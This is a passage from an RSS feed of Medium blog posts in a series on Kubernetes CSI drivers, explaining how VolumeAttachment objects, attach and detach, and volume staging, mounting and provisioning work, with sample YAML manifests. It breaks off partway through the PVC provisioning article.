healthy. The <strong>CSIDriver</strong> object customizes how the <strong>AttachDetach controller</strong> and kubelet behave. <strong>CreateVolume</strong> provisions a new volume and pins it to a specific node using topology. <strong>ControllerPublishVolume</strong> simulates attaching the volume to the node and passes the <strong>imgPath</strong> to the node component through PublishContext. <strong>ControllerUnpublishVolume</strong> detaches it. <strong>DeleteVolume</strong> cleans up the <strong>CR and the image file</strong>. Every decision we made connects back to something we covered in Parts 1 through 3 the topology flow from Part 2, the <strong>VolumeAttachment lifecycle</strong> from Part 3, the PublishContext passing the <strong>devicePath</strong> to <strong>NodeStageVolume</strong>. The node component is next. In Part 5 we implement the <strong>other half NodeStageVolume</strong> creating the loop device and formatting the filesystem, <strong>NodePublishVolume</strong> bind-mounting it into the pod, and the full teardown flow. The controller prepares the volume. The node delivers it.</p><p>See you in Part 5.</p><p><strong>Part 1</strong> — <a href="https://medium.com/@shilu4577/managing-storage-in-kubernetes-a-deep-dive-into-csi-drivers-dd4592cc4bb2">Managing Storage in Kubernetes: A Deep Dive into CSI Drivers</a></p><p><strong>Part 2</strong> — <a href="https://medium.com/@shilu4577/what-actually-happens-when-you-create-a-pvc-ca87267fd4f7">What Actually Happens When You Create a PVC?</a></p><p><strong>Part 3 </strong>— <a href="https://medium.com/@shilu4577/how-does-volume-reaches-your-container-2bac04d94d3e">How does a volume reach your container?</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=51ce2cce7344" width="1" height="1" alt=""><hr><p><a href="https://aws.plainenglish.io/building-a-csi-driver-from-scratch-in-go-controller-side-51ce2cce7344">I Built a CSI Controller in Go — Here’s What Actually Happens Behind the Scenes</a> was originally published in <a href="https://aws.plainenglish.io/">AWS in Plain English</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Your Volume Exists…. But How Does it Reach Your Container?]]></title>
            <link>https://aws.plainenglish.io/how-does-volume-reaches-your-container-2bac04d94d3e?source=rss-2b418f0e0f5d------2</link>
            <guid isPermaLink="false">https://medium.com/p/2bac04d94d3e</guid>
            <category><![CDATA[golang]]></category>
            <category><![CDATA[kubernetes]]></category>
            <category><![CDATA[devops]]></category>
            <category><![CDATA[aws]]></category>
            <category><![CDATA[platform-engineering]]></category>
            <dc:creator><![CDATA[Shilu]]></dc:creator>
            <pubDate>Tue, 10 Mar 2026 07:17:09 GMT</pubDate>
            <atom:updated>2026-03-21T13:47:20.167Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zhMgNj6HAhcRlJXZWvquBA.png" /></figure><p>Your PersistentVolume is created.</p><p>Your PVC is bound.</p><p>But your container still can’t see the volume.</p><p>So how does Kubernetes actually attach, mount, and expose that volume inside your pod?</p><p>This is where things get really interesting.</p><h3><strong>Why this matters</strong></h3><p>Even if a volume is successfully created, your application is useless until it’s mounted inside the container.</p><p>If this process fails:</p><ul><li>“Pods stay stuck in <em>ContainerCreating”</em></li><li>“Volumes don’t mount”</li><li>“Applications fail to start or lose data”</li></ul><p>This is the stage where Kubernetes connects storage to your actual workload.</p><h3>CSI Driver Series — Part 3/5: How a Volume Reaches Your Container</h3><ul><li><a href="https://medium.com/@shilu4577/managing-storage-in-kubernetes-a-deep-dive-into-csi-drivers-dd4592cc4bb2"><strong>Part 1</strong> — Managing Storage in Kubernetes: A Deep Dive into CSI Drivers</a></li><li><a href="https://medium.com/@shilu4577/what-actually-happens-when-you-create-a-pvc-ca87267fd4f7"><strong>Part 2 </strong>— What Actually Happens When You Create a PVC?</a></li><li><strong>Part 3</strong> — How a volume reach your container?</li><li><strong>Part 4</strong> — <a href="https://medium.com/@shilu4577/building-a-csi-driver-from-scratch-in-go-controller-side-51ce2cce7344">Building a CSI Driver from Scratch in Go (Controller Side)</a></li><li><strong>Part 5</strong> — Building a CSI Driver from Scratch in Go (Node Side)</li></ul><h3>1. Quick Recap</h3><p>In the first two parts of this series we covered a lot of ground. In <a href="https://medium.com/@shilu4577/managing-storage-in-kubernetes-a-deep-dive-into-csi-drivers-dd4592cc4bb2">Part 1</a> we looked at what CSI is, why it exists, and the two-component architecture of a CSI driver the <strong>controller component</strong> deployed as a <strong>Deployment</strong> and the <strong>node component</strong> deployed as a <strong>DaemonSet</strong>, each pod packed with sidecar containers communicating through a <strong>shared Unix Domain Socket</strong>.</p><p>In <a href="https://medium.com/@shilu4577/what-actually-happens-when-you-create-a-pvc-ca87267fd4f7">Part 2</a> we went deep on <em>what happens when you create a PVC</em>. We saw how the <strong>PersistentVolume controller</strong> and <strong>external-provisioner</strong> coordinate through an annotation-based handoff, how static and dynamic provisioning differ, and why <strong>volumeBindingMode: WaitForFirstConsumer</strong> exists, letting the scheduler pick a node first so the volume gets provisioned in exactly the right availability zone</p><p>We left Part 2 with a Bound PVC. The <strong>volume</strong> <strong>exists</strong> in the <strong>storage backend</strong> — an EBS volume sitting in AWS, for example but your container still has no idea it exists. That gap is what this article closes.</p><h3>2. Prerequisites:</h3><p>This article builds directly on Parts 1 and Part 2. If you haven’t read them, the flow we walk through here will be missing important context particularly around the CSI two-component model, the sidecar ecosystem, and the CSIDriver object and CSINode object.</p><p><strong>Beyond the series itself, you should be comfortable with</strong></p><ul><li>What a Pod is and how it references a PVC as a volume.</li><li>What kubelet does at high level, the node agent responsible for managing pod on each node.</li><li>Basic Linux mount concepts, what is means to mount a filesystem to a directory.</li></ul><h3><strong>3. From Where We Left Off</strong></h3><p>So we know from Part 2 that when you create a PVC, multiple components work together to provision a volume in the storage backend and bind the PVC to a PV. We left off with a Bound PVC the volume exists somewhere in the cloud, but your container still can’t use it.</p><p>Now we create a <strong>pod</strong> that <strong>references</strong> that <strong>PVC</strong>. This triggers the second half of the storage flow getting that cloud volume all the way into your container.</p><p><strong>Two important components</strong> watch the pod object when it is created: the <strong>AttachDetach controller inside kube-controller-manager</strong>, and <strong>kubelet</strong> on the node where the pod is scheduled. They both need to act on the same volume one to attach it, one to mount it. Without coordination, kubelet could try to mount a volume that isn’t attached yet. This is the race condition, and the VolumeAttachment object is exactly how Kubernetes solves it.</p><p>But before we get into that flow, there is an important question: does every volume even need an attach step? The answer depends on the type of storage and we already know the answer from Part 2.</p><p>The <strong>AttachDetach</strong> controller and <strong>kubelet</strong> both read the <strong>CSIDriver</strong> <strong>object</strong> before acting. Specifically they look at the <strong>attachRequired</strong> field. If it is false as it is for filesystem storage like <strong>NFS</strong> or <strong>EFS</strong>, there is no <strong>physical disk</strong> to attach. The <strong>AttachDetach</strong> controller skips creating a <strong>VolumeAttachment</strong> object entirely, and kubelet doesn&#39;t wait for one. It goes straight to mounting. If <strong>attachRequired</strong> is <strong>true</strong> as it is for block storage like <strong>EBS</strong> the <strong>full attach flow</strong> kicks in.</p><h3>4. The VolumeAttachment Object</h3><p>Before getting into why VolumeAttachment exists, let’s look at the object itself:</p><pre>apiVersion: storage.k8s.io/v1<br>kind: VolumeAttachment<br>metadata:<br>  name: csi-aws-com-vol-xxxxx<br>  finalizers:<br>    - external-attacher/ebs-csi-aws-com<br>spec:<br>  attacher: ebs.csi.aws.com<br>  nodeName: ip-192-168-0-12.ec2.internal<br>  source:<br>    persistentVolumeName: pv-xxxxx<br>status:<br>  attached: true<br>  attachmentMetadata:<br>    devicePath: /dev/xvdh</pre><p>The object has two main sections: <strong>spec and status.</strong></p><p>The spec section is the desired state it says “attach THIS volume to THIS node using THIS driver”. The <strong>attacher</strong> field is the CSI driver name, <strong>nodeName</strong> is the node where the pod is scheduled, and source.<strong>persistentVolumeName</strong> is the PV that needs to be attached. In one object, it carries the complete instruction set for the <strong>attachment</strong>.</p><p>The name is not random it is a <strong>deterministic hash generated from the PV name and node name combined</strong>. This means if the AttachDetach controller crashes and restarts, it generates the same name, and the API server rejects the duplicate preventing <strong>double attachment</strong>.</p><p>The status section is the actual state it gets <strong>updated</strong> by the <strong>external-attacher</strong> after the <strong>attachment</strong> succeeds. The <strong>attached field </strong>is the most important <strong>kubelet</strong> watches this field specifically. <em>When it is false, kubelet waits.</em> When it <em>becomes true, kubelet has its green light to proceed.</em></p><p>The <strong>attachmentMetadata</strong> contains the <strong>devicePath</strong> for example <strong>/dev/sdax</strong>. This is returned by the <em>CSI controller component in the ControllerPublishVolume response and stored here by the external-attacher</em>. This is exactly what <strong>kubelet</strong> needs to pass to <strong>NodeStageVolume</strong> without knowing <strong>which block device was attached </strong>to the node, <strong>NodeStageVolume</strong> cannot know what to <strong>format</strong> or <strong>mount</strong>.</p><p>The finalizer is a safety mechanism. When a pod is deleted and Kubernetes tries to delete the VolumeAttachment object, the finalizer prevents immediate deletion. The external-attacher sees the object is Terminating, calls ControllerUnpublishVolume to detach the disk from the node, and only then removes the finalizer allowing Kubernetes to actually delete the object. Without this, the object would be deleted immediately, ControllerUnpublishVolume would never be called, and the volume would remain attached to the node as a ghost causing the next attach attempt from a different node to fail.</p><p>Now that we understand the object, let’s look at why it exists.</p><p>We know that after a pod is scheduled, kubelet’s job is to call the CSI node component to stage and mount the volume. But kubelet needs the <strong>devicePath</strong> to do this<em> and that information is only available after the volume has been physically attached to the nod</em>e. If <strong>kubelet</strong> called <strong>NodeStageVolume</strong> immediately after the pod was scheduled, it would fail the disk isn&#39;t there yet.</p><p>This is the race condition the VolumeAttachment object solves. The AttachDetach controller creates it when a pod is scheduled, external-attacher acts on it to attach the volume, and <strong>kubelet</strong> watches it specifically waiting for <strong>status.attached: true</strong> before proceeding. The object coordinates all three actors through a shared piece of state rather than direct communication.</p><p>The <strong>AttachDetach controller</strong> builds the <strong>VolumeAttachment</strong> by reading the pod spec to find which PVC is referenced, following the PVC to its bound PV, reading the PV to get the volumeHandle and driver name, and reading the pod to get the nodeName. Everything needed to create the attachment instruction is pulled from existing objects no direct communication required.</p><h3>5. The Attach and Mount Phase</h3><p>When a pod is scheduled on a node, the AttachDetach controller creates a VolumeAttachment object. For block storage like EBS, both external-attacher and kubelet watch this object but kubelet holds back. We know why from the previous section: it needs the devicePath, which isn’t available yet.</p><p>The external-attacher reads the VolumeAttachment object and queries two more objects from the API server to build the ControllerPublishVolume request:</p><pre>VolumeAttachment.spec.source.persistentVolumeName<br>  → fetches PV object<br>  → reads PV.spec.csi.volumeHandle (eg:&quot;vol-x123&quot;)</pre><pre>VolumeAttachment.spec.nodeName<br>  → fetches CSINode object for that node<br>  → reads CSINode.spec.drivers[].nodeID  ← the cloud instance ID (eg:&quot;node-x&quot;)</pre><p>With these two pieces the cloud <strong>volume ID and the cloud instance ID</strong>, <strong>external-attacher</strong> calls <strong>ControllerPublishVolume</strong> on the CSI controller component via the <strong>Unix Domain Socket(UDS)</strong>.</p><p>The <strong>CSI controller component</strong> calls the <strong>cloud API</strong> for EBS this means calling the <strong>AWS EC2 attach volume API</strong> and physically attaches the disk to the node. It returns a <strong>publish_context</strong> containing driver-specific attachment information, including the <strong>devicePath</strong> for example /dev/sdax. This tells the node exactly which block device was actually attached.</p><p><em>The external-attacher takes this response and updates the VolumeAttachment status:</em></p><pre>status:<br>  attached: true<br>  attachmentMetadata:<br>    devicePath: /dev/sdax<br>  </pre><p><strong>Kubelet</strong> is watching this object. The moment it sees <strong>status.attached: true</strong>, it has its green light, the <strong>disk</strong> is <strong>physically</strong> on the <strong>node</strong> and it now knows which device path to work with.</p><p><strong>Now</strong> <strong>kubelet</strong> proceeds to the <strong>mount phase</strong>. Depending on whether the driver advertises the <strong>STAGE_UNSTAGE_VOLUME capability</strong>, kubelet does either one or two steps:</p><h4>Staging and Mount Phase</h4><p>If the <strong>driver</strong> supports <strong>staging</strong> (which all block storage drivers do), <strong>kubelet</strong> calls <strong>NodeStageVolume</strong> first. This is where the <strong>raw block device</strong> gets formatted with a filesystem for example <strong><em>ext4, fat, or ntfs </em></strong>and mounted to a global staging path on the node:</p><pre>/var/lib/kubelet/plugins/kubernetes.io/csi/pv/&lt;pv-name&gt;/globalmount</pre><p>This staging mount happens once per volume per node, regardless of how many pods use it. The reason is efficiency, if three pods on the same node all reference the same PVC, the disk only needs to be formatted and mounted once at the OS level.</p><p>Once staging is complete, kubelet calls <strong>NodePublishVolume</strong> for each pod that needs the volume. This does not touch the raw device(/dev/sdax), it performs a bind mount from the global staging path into the pod’s specific directory:</p><pre>source: /var/lib/kubelet/plugins/kubernetes.io/csi/pv/&lt;pvc-name&gt;/globalmount<br>target: /var/lib/kubelet/pods/&lt;pod-id&gt;/volumes/kubernetes/io/&lt;pv-name&gt;/mount</pre><p>This pod directory is then <strong>bind-mounted by kubelet</strong> into the <strong>container</strong> at the <strong>mountPath</strong> specified in the <strong>pod spec,</strong> for eg: <strong>/data</strong>. The container starts, sees /data, and has no idea about any of the machinery that just ran to get it there.</p><p><em>Three pods on the same node using the same volume:</em></p><p><strong>NodeStageVolume</strong> → called ONCE → disk formatted, staged <strong>NodePublishVolume</strong> → called THREE times → one bind mount per pod</p><p><strong>Formatted and mounted</strong> once at OS level regardless of pod count.</p><h3>6. unmount and detach phase</h3><p>When a user runs <strong>kubectl delete pod</strong>, the API server sets a <strong>deletionTimestamp</strong> on the <strong>pod object</strong>. <strong>Kubelet</strong> watches <strong>pod objects </strong>when it sees the <strong>deletionTimestamp</strong>, it starts the teardown sequence.</p><p>For each volume the pod was using, kubelet first calls <strong>NodeUnpublishVolume</strong> on the CSI node component. This removes the bind mount from the pod’s directory the container loses access to /<strong>data</strong>. This is called once per pod.</p><p>Next, <strong>kubelet</strong> checks whether any <strong>other pods</strong> on the <strong>same node are still</strong> using this volume. If yes, the global staging mount stays alive other pods still need it. If no other pods are using it, kubelet calls <strong>NodeUnstageVolume</strong>, which unmounts the volume from the global staging path on the node. The block device is now completely unused on this node.</p><p>Meanwhile, the <strong>AttachDetach controller </strong>sees the pod is being deleted and sets a <strong>deletionTimestamp</strong> on the <strong>VolumeAttachment</strong> object marking it as <strong>Terminating</strong>. But the object is not deleted yet. The finalizer is still present:</p><pre>metadata:<br>  finalizers:<br>  - external-attacher/ebs-csi-aws-com</pre><p>The external-attacher sees the VolumeAttachment is Terminating and calls <strong>ControllerUnpublishVolume</strong> on the <strong>CSI controller component</strong>. The controller calls the cloud API for EBS this means calling the AWS EC2 detach volume API and physically detaches the disk from the node. Once that succeeds, <strong>external-attacher</strong> removes the <strong>finalizer</strong>. <strong>Kubernetes sees no more finalizers</strong> and actually deletes the VolumeAttachment object.</p><h4>Finally, Kubernetes checks the PV’s reclaimPolicy:</h4><ul><li><strong>Retain</strong> → PV object stays, cloud disk kept administrator must manually clean up</li><li><strong>Delete</strong> → external-provisioner calls DeleteVolume cloud disk deleted and PV object deleted</li></ul><p>The finalizer on <strong>VolumeAttachment</strong> is not a minor detail it is the safety mechanism that <strong>guarantees ControllerUnpublishVolume</strong> is always called before the <strong>object disappears</strong>. Without it, the object would be <strong>deleted immediately</strong>, the <strong>detach</strong> call would never happen, and the disk would remain attached to the node as a ghost. The next time any pod tries to attach that volume to a different node, the cloud provider would reject it a physical disk can only be attached to one node at a time.</p><h3><strong>Conclusion:</strong></h3><p>We started this article with a Bound PVC and a volume sitting somewhere in the cloud. We end it with that volume mounted at<strong> /data </strong>inside your container.</p><p>The journey involved more moving parts than most people expect. The AttachDetach controller coordinating through a VolumeAttachment object, the external-attacher physically attaching the disk to the node via <strong>ControllerPublishVolume</strong>, kubelet waiting for <strong>status.attached: true</strong> before touching anything, <strong>NodeStageVolume</strong> formatting and staging the disk once at the OS level, and NodePublishVolume bind-mounting it into each pod that needs it.</p><p>At this point in the series you have the complete picture what a CSI driver is, how a PVC becomes a Bound volume, and how that volume travels from the cloud all the way into your container. Three parts of concepts and internals</p><p><strong><em>Now it is time to build one.</em></strong></p><p>In <a href="https://medium.com/@shilu4577/building-a-csi-driver-from-scratch-in-go-controller-side-51ce2cce7344"><strong>Part 4</strong></a> we write a CSI driver from scratch in Go the controller side. We implement the Identity Service, the Controller Service, and wire up CreateVolume, DeleteVolume, ControllerPublishVolume, and ControllerUnpublishVolume. By the end of Part 4 you will have a working controller component that can provision and attach volumes on a real cluster.</p><p>See you in <a href="https://medium.com/@shilu4577/building-a-csi-driver-from-scratch-in-go-controller-side-51ce2cce7344"><strong>Part 4</strong></a>.</p><p>Part 1 — <a href="https://medium.com/@shilu4577/managing-storage-in-kubernetes-a-deep-dive-into-csi-drivers-dd4592cc4bb2">Managing Storage in Kubernetes: A Deep Dive into CSI Drivers</a></p><p>Part 2 — <a href="https://medium.com/@shilu4577/what-actually-happens-when-you-create-a-pvc-ca87267fd4f7">What Actually Happens When You Create a PVC?</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2bac04d94d3e" width="1" height="1" alt=""><hr><p><a href="https://aws.plainenglish.io/how-does-volume-reaches-your-container-2bac04d94d3e">Your Volume Exists…. But How Does it Reach Your Container?</a> was originally published in <a href="https://aws.plainenglish.io/">AWS in Plain English</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[You Created a PVC…. But What Actually Happens Next in Kubernetes?]]></title>
            <link>https://aws.plainenglish.io/what-actually-happens-when-you-create-a-pvc-ca87267fd4f7?source=rss-2b418f0e0f5d------2</link>
            <guid isPermaLink="false">https://medium.com/p/ca87267fd4f7</guid>
            <category><![CDATA[site-reliability-engineer]]></category>
            <category><![CDATA[aws]]></category>
            <category><![CDATA[devops]]></category>
            <category><![CDATA[kubernetes]]></category>
            <category><![CDATA[platform-engineering]]></category>
            <dc:creator><![CDATA[Shilu]]></dc:creator>
            <pubDate>Sun, 08 Mar 2026 17:09:28 GMT</pubDate>
            <atom:updated>2026-03-18T02:42:02.790Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/473/1*SzxG5BNGiYrCcIE4ei_Ufg.png" /></figure><p>You apply a YAML with a PersistentVolumeClaim… and wait.</p><p>Sometimes it works instantly.<br>Sometimes it stays stuck in <em>Pending</em>.</p><p>So what actually happens inside Kubernetes after you create a PVC?</p><p>Behind the scenes, multiple components coordinate to provision and bind storage — and understanding this flow is key to debugging real issues.</p><h3>Why this matters</h3><p>If you’ve ever seen a PVC stuck in <em>Pending</em>, this is the part that’s failing.</p><p>Behind a simple YAML, multiple components coordinate to provision storage:</p><ul><li>“The PersistentVolume controller”</li><li>“External provisioners”</li><li>“The Scheduler”</li></ul><p>If Any of these step breaks, your pod will never start, understanding this flow is critical in real production system.</p><h3><strong>CSI Driver Series — Part 2/5: What Happens When You Create a PVC?</strong></h3><ul><li><strong>Part 1</strong> —<a href="https://medium.com/aws-in-plain-english/managing-storage-in-kubernetes-a-deep-dive-into-csi-drivers-dd4592cc4bb2"> Managing Storage in Kubernetes: A Deep Dive into CSI Drivers</a></li><li><strong>Part 2 </strong>— What Happens When You Create a PVC?</li><li><strong>Part 3</strong> — <a href="https://medium.com/@shilu4577/how-does-volume-reaches-your-container-2bac04d94d3e">How a volume reach your container?</a></li><li><strong>Part 4</strong> — <a href="https://medium.com/@shilu4577/building-a-csi-driver-from-scratch-in-go-controller-side-51ce2cce7344">Building a CSI Driver from Scratch in Go (Controller Side)</a></li><li><strong>Part 5</strong> — Building a CSI Driver from Scratch in Go (Node Side)</li></ul><h3><strong>1. Quick Recap</strong></h3><p>In Part 1 we looked at what CSI is, why it exists, and what a CSI driver looks like structurally. We saw that a CSI driver is made up of two components the controller component deployed as a Deployment, and the node component deployed as a DaemonSet each pod packed with sidecar containers that communicate with the driver through a shared Unix Domain Socket(UDS).</p><p>We left off with knowing the structure. Now it is time to understand what actually happens when you create a PersistentVolumeClaim object in the cluster. That is what this entire article is all about.</p><h3><strong>2. Prerequisites</strong></h3><p>This series assumes you already know what is PersistentVolume, PersistentVolumeClaim, and StorageClass are. We are not going to explain these here. If any of the terms seems unfamiliar, get comfortable with them first and come back, this article will make a lot more sense.</p><h4><strong>Before we dive in, a few things to get straight</strong></h4><p>Before walking through the provisioning flow, we need to establish a few foundational pieces. Think of this section as loading the right mental models before the main flow makes complete sense.</p><h3><strong>3. The gRPC Services</strong></h3><p>We know from Part 1 that both the controller component and the node component are gRPC servers. But what exactly they expose?</p><p><em>The </em><a href="https://github.com/container-storage-interface/spec"><em>CSI spec</em></a><em> defines three gRPC services:</em></p><p><strong>Identity Service</strong>: Implemented by both the controller and the node component. It answers questions like: what is this <em>driver called</em>, <em>what capabilities does it support</em>, and <em>is it healthy</em>? Every CSI driver must implement this.</p><p><strong>Controller Service</strong>: Implemented only by controller component, this is where all volume lifecycle operations of storage provider lives. The important ones for this article are:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/591/1*76ijeljAxOT7iOaDvTV2Iw.png" /></figure><p>So Different components calls these rpc via Unix Domain Socket(UDS) at different stages.</p><p><strong>Node Service : </strong>implemented only by the node component. This is where all the mount operations lives, the RPCs that work at the OS level on each node. The important ones are:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/703/1*OVut7IkUyvoMMnYSKl80KQ.png" /></figure><p>Mostly Kubelet will calls these rpc via Unix Domain Socket(UDS) at different stages.</p><p>We will also look into exactly when and why each of these gets called as we walk through the flow.</p><h3>4. Understanding Storage Types : Why attachRequired Exists</h3><p>Before we look at the CSIDriver object, we need to understand one foundational concept that explains why certain fields exist in the first place the type of storage your CSI driver provides.</p><p>There are two types of storage relevant to us here: filesystem storage and block storage.</p><h4><strong>Filesystem Storage</strong></h4><p>Filesystem storage is a filesystem exposed directly by the storage provider that you mount over the network into your container. A classic example is NFS , a NAS server exports a directory, and your node mounts that exported directory using the NFS protocol. AWS EFS works the same way.</p><p>The key characteristic here is that there is no physical disk involved on your side. The filesystem already exists on the storage backend. Your node simply gets a network mount, no partitioning, no formatting, no low-level disk access. It is just a directory accessible over the network.</p><p>Because this filesystem is reachable from any node directly over the network, there is no concept of “attaching” it to a specific node. Any node can mount it at any time. This is also why filesystem-based volumes support ReadWriteMany access mode , multiple pods on multiple nodes can mount the same volume simultaneously. This is not a Kubernetes feature, it is a physical characteristic of how network filesystems work.</p><h4><strong>Block Storage</strong></h4><p>Block storage is a physical disk, an HDD or SSD provided by the storage backend and attached to your node. AWS EBS, GCE Persistent Disk, and Azure Disk are all block storage. When you get a block storage volume, you are getting a raw block device like /dev/sdax.</p><p>Unlike filesystem storage, you have low-level access to this device. You can partition it, format it with a filesystem of your choice, or pass it raw directly to a database process that manages its own I/O. This is why block storage is preferred for performance-sensitive workloads like PostgreSQL or MySQL by skipping the filesystem layer entirely using <strong>volumeMode: Block</strong>, databases can manage their own I/O and squeeze out maximum performance.</p><p>But this low-level access comes with a constraint: a physical disk can only be attached to one node at a time. You cannot plug one HDD into two machines simultaneously. This is exactly why EBS volumes only support <strong>ReadWriteOnce</strong> not an arbitrary Kubernetes limitation, but a physical reality of block devices.</p><p>And because the disk must be physically attached to a specific node before it can be used, there is a mandatory attach step in the flow this is what <strong>ControllerPublishVolume</strong> does. The CSI driver calls the cloud API to attach the disk to the right node before kubelet can even attempt to mount it.</p><h3>5. CRDs and Kubernetes Resources to Know</h3><p>Four kubernetes objects play a vital role in how Kubernetes coordinates with a CSI driver. You need to know what each one is before the flow makes sense.</p><p><strong><em>CSIDriver: </em></strong>a cluster-scoped object created once per CSI driver installed in the cluster. It is the driver’s self-declaration to Kubernetes. The most important field it contains is <strong>attachRequired</strong>:</p><pre>kind: CSIDriver<br>metadata:<br>  name: ebs.csi.aws.com<br>spec:<br>  attachRequired: true   <br>  volumeLifecycleModes:<br>  - Persistent</pre><h4><strong>How This Connects to the CSIDriver Object</strong></h4><p>This is exactly what the <strong>attachRequired</strong> field in the CSIDriver object is communicating to Kubernetes:</p><p><strong>AWS EFS CSI Driver (filesystem storage) (attachRequired: false):</strong></p><ul><li>no physical disk to attach → ControllerPublishVolume not implemented</li><li>Kubernetes skips the attach step entirely</li><li>no VolumeAttachment object gets created</li></ul><p><strong>AWS EBS CSI Driver (Block storage) (attachRequired: true)</strong></p><ul><li>physical disk must be attached to the node</li><li>ControllerPublishVolume is implemented</li><li>Kubernetes creates volumeAttachment object.</li><li>attach step happens before any mounting</li></ul><p>When Kubernetes reads <strong>attachRequired: false</strong> from the CSIDriver object, the AttachDetach controller skips creating a VolumeAttachment entirely. The flow goes straight from provisioning to mounting. When it reads <strong>attachRequired: true</strong> , the full attach phase kicks in VolumeAttachment gets created, <strong>external-attacher</strong> calls <strong>ControllerPublishVolume</strong>, and kubelet waits for <strong>status.attached: true</strong> before proceeding.</p><p>The CSIDriver object is simply where the driver declares its storage type to Kubernetes upfront so Kubernetes knows which path to take.</p><p><strong><em>CSINode: It is </em></strong>a cluster-scoped object created once per node per CSI driver. It is populated by <strong>kubelet</strong> based on information provided by the node-driver-registrar sidecar. When the node component starts, <strong>node-driver-registrar</strong> calls <strong>NodeGetInfo</strong>() and <strong>getPluginInfo</strong>() on the <strong>CSI driver</strong>, gets the nodeID and topology keys, and registers this information with kubelet. <strong>Kubelet</strong> then creates or updates the <strong>CSINode object</strong> in the API</p><pre>kind: CSINode<br>metadata:<br>  name: node-1<br>spec:<br>  drivers:<br>  - name: ebs.csi.aws.com<br>    nodeID: xxxxxxxxxx   <br>    topologyKeys:<br>    - topology.kubernetes.io/zone  </pre><p>The <strong>nodeID</strong> is what gets passed to <strong>ControllerPublishVolume</strong> when Kubernetes wants to attach a volume to this node it&#39;s the cloud provider&#39;s identifier, not the Kubernetes node name. The topology keys tell Kubernetes which labels on the node are meaningful to this driver for placement decisions.</p><p><strong>VolumeAttachment</strong> : a cluster-scoped object that acts as the coordination mechanism between the <strong>AttachDetach controller</strong> inside <strong>kube-controller-manage</strong>r and the external-attacher sidecar. When Kubernetes decides a volume needs to be attached to a node, the <strong>AttachDetach controller</strong> creates a <strong>VolumeAttachment</strong> object. The external-attacher watches for these objects and calls ControllerPublishVolume on the CSI driver when it sees one. We will go deep on this in the attachment section.</p><pre>kind: VolumeAttachment<br>spec:<br>  attacher: ebs.csi.aws.com<br>  nodeName: node-1<br>  source:<br>    persistentVolumeName: pv-xyz<br>status:<br>  attached: false</pre><p><strong>VolumeSnapshot</strong>: An optional CRD that is not installed in kubernetes by default, it requires the snapshot controller, we need to install snapshot controller and its CRD’s separately.</p><h3>6. Contollers Involved:</h3><p>Before we walk through the flow, it is better to know about controllers that are involved in the flow.</p><p><strong>PersistenVolume Controller</strong>: Lives inside kubernetes kube-controller-manager. Not as a separate pod.</p><p><strong>AttachDetach Controller</strong>: it also lives inside kubernetes kube-controller-manager. Not as a separate pod.</p><p><strong>Scheduler</strong>: Its own pod, runs in control plane node. Responsible for deciding which node the pod should be scheduled on,</p><p><strong>Sidecars</strong>: These lives inside the CSI Driver pods.</p><p>Inside kube-controller-manager(kubernetes core):</p><ul><li><strong>PersistentVolume Controller</strong>: Manages PV &lt;-&gt; PVC binding, Handles static provisioning and triggers , and dynamic provisioning by setting the annotations.</li><li><strong>AttachDetach Controller</strong>: Creates VolumeAttachment Objects.</li></ul><p><strong>Inside CSI Driver pods:</strong></p><ul><li><strong>external-provisioner</strong>: watches PVC and calls CreateVolume on your driver</li><li><strong>external-attacher</strong>: watches VolumeAttachment and calls ControllerPublishVolume on your driver</li></ul><h3>7. Two Main annotations used in the storage flow :</h3><ul><li>volume.beta.kubernetes.io/storage-provisioner: ebs.csi.aws.com</li><li>volume.kubernetes.io/selected-node: node-1</li></ul><h3>8. Provisioning Flow: (when volbindingmode: Immediate)</h3><p>So, we all know that if we want our container to have storage, we create a PVC. Now when a PVC is created, two components watch its lifecycle the PVC controller inside kube-controller-manager, and the external-provisioner sidecar inside the CSI controller pod. To make sure there is no race condition between them, the external-provisioner checks for a specific annotation on the PVC before doing anything:</p><pre>volume.beta.kubernetes.io/storage-provisioner: ebs.csi.aws.com</pre><p>If this annotation is not present, external-provisioner does nothing. It just watches and waits.</p><p>The PVC controller, on the other hand, acts immediately. It does two things: static provisioning first, then dynamic provisioning.</p><h4>8.1 Static Provisioning</h4><p>Static provisioning is simple, the PVC controller reads the requirements from the PVC: accessModes, volumeMode, storageClassName, volumeName, resources, and checks all existing PVs to see if any match. If a match is found and the PV is in Available state, it binds them setting pvc.spec.volumeName and pv.spec.claimRef fields to link them together. Both transition to Bound. The external-provisioner never gets involved because no new volume needs to be created.</p><h4><strong>8.2 Dynamic Provisioning (volumeBindingMode: Immediate)</strong></h4><p>When no existing PV matches dynamic provisioning kicks in. The PVC controller does one thing: it sets the annotation:</p><pre>volume.beta.kubernetes.io/storage-provisioner: ebs.csi.aws.com</pre><p>and delegates the rest to external-provisioner. This annotation is the handoff signal.</p><p>Now external-provisioner wakes up on the PVC update event and runs its checks — all of which must pass before it calls <strong>CreateVolume</strong>:</p><ol><li>Is the annotation present? NO → skip</li><li>Does annotation value == my — provisioner flag? NO → skip</li><li>Is volumeBindingMode == Immediate? NO → skip</li><li>Is PVC phase == Pending? NO → skip</li><li>Am I the current leader? (if HA replicas) NO → skip ALL pass → proceed</li></ol><p>Now it builds the CreateVolume request. Two important inputs:</p><p>Topology external-provisioner needs to tell the controller which zones are valid for this volume. If <strong>allowedTopologies</strong> is set in the StorageClass, it uses those zones directly. If not, it calls <strong>aggregated_topology function</strong> reading all CSINode objects in the cluster to build a list of all available zones. This becomes the <strong>accessiblity_requirements</strong> the <strong>CreateVolume</strong> request, with zones ranked by available node capacity in the <strong>preferred</strong> list.</p><p>Parameters : these come directly from <strong>storageclass.spec.parameters</strong>. The <strong>external-provisioner</strong> passes them through without modification. They are only understood by the controller component things like <strong>disk type, IOPS, encryption settings.</strong></p><p>The controller component receives the 